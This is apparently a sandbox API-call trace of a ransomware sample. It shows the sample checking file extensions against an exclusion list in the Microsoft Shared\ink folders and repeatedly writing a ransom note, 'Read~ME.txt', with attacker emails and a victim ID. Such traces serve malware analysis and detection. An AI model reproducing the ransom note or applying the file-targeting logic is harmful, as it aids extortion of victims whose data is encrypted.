	[0078.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.729] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5030 | out: hHeap=0x300000) returned 1
	[0078.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4700 | out: hHeap=0x300000) returned 1
	[0078.729] RtlWakeConditionVariable () returned 0x365f70
	[0078.729] GetCurrentThreadId () returned 0xaf0
	[0078.729] GetCurrentThreadId () returned 0xaf0
	[0078.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4700
	[0078.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f50d8 | out: hHeap=0x300000) returned 1
	[0078.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f94a0 | out: hHeap=0x300000) returned 1
	[0078.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f50d8
	[0078.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.730] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.730] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.731] CloseHandle (hObject=0x120) returned 1
	[0078.731] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f50d8 | out: hHeap=0x300000) returned 1
	[0078.731] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4700 | out: hHeap=0x300000) returned 1
	[0078.732] RtlWakeConditionVariable () returned 0x365f70
	[0078.732] GetCurrentThreadId () returned 0xaf0
	[0078.732] GetCurrentThreadId () returned 0xaf0
	[0078.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4700
	[0078.732] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5180 | out: hHeap=0x300000) returned 1
	[0078.732] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f94d8 | out: hHeap=0x300000) returned 1
	[0078.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f5180
	[0078.732] lstrlenW (lpString=".scr") returned 4
	[0078.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.732] lstrlenW (lpString=".cmd") returned 4
	[0078.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.732] lstrlenW (lpString=".dll") returned 4
	[0078.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.732] lstrlenW (lpString=".dll.mui") returned 8
	[0078.732] lstrlenW (lpString=".bat") returned 4
	[0078.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.732] lstrlenW (lpString=".cpl") returned 4
	[0078.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.732] lstrlenW (lpString=".sys") returned 4
	[0078.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.732] lstrlenW (lpString=".msc") returned 4
	[0078.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.732] lstrlenW (lpString=".com") returned 4
	[0078.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.733] lstrlenW (lpString=".lnk") returned 4
	[0078.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.733] lstrlenW (lpString=".msp") returned 4
	[0078.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.733] lstrlenW (lpString=".pif") returned 4
	[0078.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.733] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5180 | out: hHeap=0x300000) returned 1
	[0078.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4700 | out: hHeap=0x300000) returned 1
	[0078.734] RtlWakeConditionVariable () returned 0x365f70
	[0078.734] GetCurrentThreadId () returned 0xaf0
	[0078.734] GetCurrentThreadId () returned 0xaf0
	[0078.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4700
	[0078.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5228 | out: hHeap=0x300000) returned 1
	[0078.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9510 | out: hHeap=0x300000) returned 1
	[0078.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f5228
	[0078.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.734] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.735] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.736] CloseHandle (hObject=0x120) returned 1
	[0078.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5228 | out: hHeap=0x300000) returned 1
	[0078.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4700 | out: hHeap=0x300000) returned 1
	[0078.736] RtlWakeConditionVariable () returned 0x365f70
	[0078.736] GetCurrentThreadId () returned 0xaf0
	[0078.736] GetCurrentThreadId () returned 0xaf0
	[0078.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4700
	[0078.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f52d0 | out: hHeap=0x300000) returned 1
	[0078.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9548 | out: hHeap=0x300000) returned 1
	[0078.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f52d0
	[0078.736] lstrlenW (lpString=".scr") returned 4
	[0078.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.736] lstrlenW (lpString=".cmd") returned 4
	[0078.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.737] lstrlenW (lpString=".dll") returned 4
	[0078.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.737] lstrlenW (lpString=".dll.mui") returned 8
	[0078.737] lstrlenW (lpString=".bat") returned 4
	[0078.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.737] lstrlenW (lpString=".cpl") returned 4
	[0078.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.737] lstrlenW (lpString=".sys") returned 4
	[0078.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.737] lstrlenW (lpString=".msc") returned 4
	[0078.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.737] lstrlenW (lpString=".com") returned 4
	[0078.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.737] lstrlenW (lpString=".lnk") returned 4
	[0078.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.737] lstrlenW (lpString=".msp") returned 4
	[0078.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.737] lstrlenW (lpString=".pif") returned 4
	[0078.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.737] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f52d0 | out: hHeap=0x300000) returned 1
	[0078.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4700 | out: hHeap=0x300000) returned 1
	[0078.738] RtlWakeConditionVariable () returned 0x365f70
	[0078.738] GetCurrentThreadId () returned 0xaf0
	[0078.738] GetCurrentThreadId () returned 0xaf0
	[0078.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4700
	[0078.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5378 | out: hHeap=0x300000) returned 1
	[0078.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9580 | out: hHeap=0x300000) returned 1
	[0078.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f5378
	[0078.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.787] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.787] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.788] CloseHandle (hObject=0x120) returned 1
	[0078.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5378 | out: hHeap=0x300000) returned 1
	[0078.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4700 | out: hHeap=0x300000) returned 1
	[0078.789] RtlWakeConditionVariable () returned 0x365f70
	[0078.789] GetCurrentThreadId () returned 0xaf0
	[0078.789] GetCurrentThreadId () returned 0xaf0
	[0078.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1b70
	[0078.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1ca0 | out: hHeap=0x300000) returned 1
	[0078.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9a18 | out: hHeap=0x300000) returned 1
	[0078.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1ca0
	[0078.789] lstrlenW (lpString=".scr") returned 4
	[0078.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll", lpSrch=".scr") returned 0x0
	[0078.789] lstrlenW (lpString=".cmd") returned 4
	[0078.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll", lpSrch=".cmd") returned 0x0
	[0078.789] lstrlenW (lpString=".dll") returned 4
	[0078.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll", lpSrch=".dll") returned=".dll"
	[0078.789] lstrlenW (lpString=".dll") returned 4
	[0078.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1ca0 | out: hHeap=0x300000) returned 1
	[0078.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1b70 | out: hHeap=0x300000) returned 1
	[0078.789] RtlWakeConditionVariable () returned 0x365f70
	[0078.789] GetCurrentThreadId () returned 0xaf0
	[0078.789] GetCurrentThreadId () returned 0xaf0
	[0078.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1b70
	[0078.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1d38 | out: hHeap=0x300000) returned 1
	[0078.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9a50 | out: hHeap=0x300000) returned 1
	[0078.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1d38
	[0078.790] lstrlenW (lpString=".scr") returned 4
	[0078.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll", lpSrch=".scr") returned 0x0
	[0078.790] lstrlenW (lpString=".cmd") returned 4
	[0078.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll", lpSrch=".cmd") returned 0x0
	[0078.790] lstrlenW (lpString=".dll") returned 4
	[0078.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll", lpSrch=".dll") returned=".dll"
	[0078.790] lstrlenW (lpString=".dll") returned 4
	[0078.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1d38 | out: hHeap=0x300000) returned 1
	[0078.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1b70 | out: hHeap=0x300000) returned 1
	[0078.790] RtlWakeConditionVariable () returned 0x365f70
	[0078.790] GetCurrentThreadId () returned 0xaf0
	[0078.790] GetCurrentThreadId () returned 0xaf0
	[0078.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1b70
	[0078.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1dd0 | out: hHeap=0x300000) returned 1
	[0078.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9a88 | out: hHeap=0x300000) returned 1
	[0078.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1dd0
	[0078.790] lstrlenW (lpString=".scr") returned 4
	[0078.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll", lpSrch=".scr") returned 0x0
	[0078.790] lstrlenW (lpString=".cmd") returned 4
	[0078.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll", lpSrch=".cmd") returned 0x0
	[0078.790] lstrlenW (lpString=".dll") returned 4
	[0078.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll", lpSrch=".dll") returned=".dll"
	[0078.790] lstrlenW (lpString=".dll") returned 4
	[0078.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1dd0 | out: hHeap=0x300000) returned 1
	[0078.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1b70 | out: hHeap=0x300000) returned 1
	[0078.791] RtlWakeConditionVariable () returned 0x365f70
	[0078.791] GetCurrentThreadId () returned 0xaf0
	[0078.791] GetCurrentThreadId () returned 0xaf0
	[0078.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1b70
	[0078.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1e68 | out: hHeap=0x300000) returned 1
	[0078.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9ac0 | out: hHeap=0x300000) returned 1
	[0078.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1e68
	[0078.791] lstrlenW (lpString=".scr") returned 4
	[0078.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll", lpSrch=".scr") returned 0x0
	[0078.791] lstrlenW (lpString=".cmd") returned 4
	[0078.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll", lpSrch=".cmd") returned 0x0
	[0078.791] lstrlenW (lpString=".dll") returned 4
	[0078.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll", lpSrch=".dll") returned=".dll"
	[0078.791] lstrlenW (lpString=".dll") returned 4
	[0078.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1e68 | out: hHeap=0x300000) returned 1
	[0078.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1b70 | out: hHeap=0x300000) returned 1
	[0078.791] RtlWakeConditionVariable () returned 0x365f70
	[0078.791] GetCurrentThreadId () returned 0xaf0
	[0078.791] GetCurrentThreadId () returned 0xaf0
	[0078.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1b70
	[0078.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1f00 | out: hHeap=0x300000) returned 1
	[0078.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9af8 | out: hHeap=0x300000) returned 1
	[0078.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1f00
	[0078.791] lstrlenW (lpString=".scr") returned 4
	[0078.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll", lpSrch=".scr") returned 0x0
	[0078.792] lstrlenW (lpString=".cmd") returned 4
	[0078.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll", lpSrch=".cmd") returned 0x0
	[0078.792] lstrlenW (lpString=".dll") returned 4
	[0078.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll", lpSrch=".dll") returned=".dll"
	[0078.792] lstrlenW (lpString=".dll") returned 4
	[0078.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1f00 | out: hHeap=0x300000) returned 1
	[0078.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1b70 | out: hHeap=0x300000) returned 1
	[0078.792] RtlWakeConditionVariable () returned 0x365f70
	[0078.792] GetCurrentThreadId () returned 0xaf0
	[0078.792] GetCurrentThreadId () returned 0xaf0
	[0078.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1b70
	[0078.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1f98 | out: hHeap=0x300000) returned 1
	[0078.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9b30 | out: hHeap=0x300000) returned 1
	[0078.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1f98
	[0078.792] lstrlenW (lpString=".scr") returned 4
	[0078.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll", lpSrch=".scr") returned 0x0
	[0078.792] lstrlenW (lpString=".cmd") returned 4
	[0078.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll", lpSrch=".cmd") returned 0x0
	[0078.792] lstrlenW (lpString=".dll") returned 4
	[0078.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll", lpSrch=".dll") returned=".dll"
	[0078.792] lstrlenW (lpString=".dll") returned 4
	[0078.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1f98 | out: hHeap=0x300000) returned 1
	[0078.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1b70 | out: hHeap=0x300000) returned 1
	[0078.793] RtlWakeConditionVariable () returned 0x365f70
	[0078.793] GetCurrentThreadId () returned 0xaf0
	[0078.793] GetCurrentThreadId () returned 0xaf0
	[0078.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4700
	[0078.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6178 | out: hHeap=0x300000) returned 1
	[0078.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.793] lstrlenW (lpString=".cmd") returned 4
	[0078.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.793] lstrlenW (lpString=".dll") returned 4
	[0078.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.793] lstrlenW (lpString=".dll.mui") returned 8
	[0078.793] lstrlenW (lpString=".bat") returned 4
	[0078.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.794] lstrlenW (lpString=".cpl") returned 4
	[0078.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.794] lstrlenW (lpString=".sys") returned 4
	[0078.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.794] lstrlenW (lpString=".msc") returned 4
	[0078.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.794] lstrlenW (lpString=".com") returned 4
	[0078.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.794] lstrlenW (lpString=".lnk") returned 4
	[0078.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.794] lstrlenW (lpString=".msp") returned 4
	[0078.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.794] lstrlenW (lpString=".pif") returned 4
	[0078.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.794] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.795] RtlWakeConditionVariable () returned 0x365f70
	[0078.795] GetCurrentThreadId () returned 0xaf0
	[0078.795] GetCurrentThreadId () returned 0xaf0
	[0078.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4700
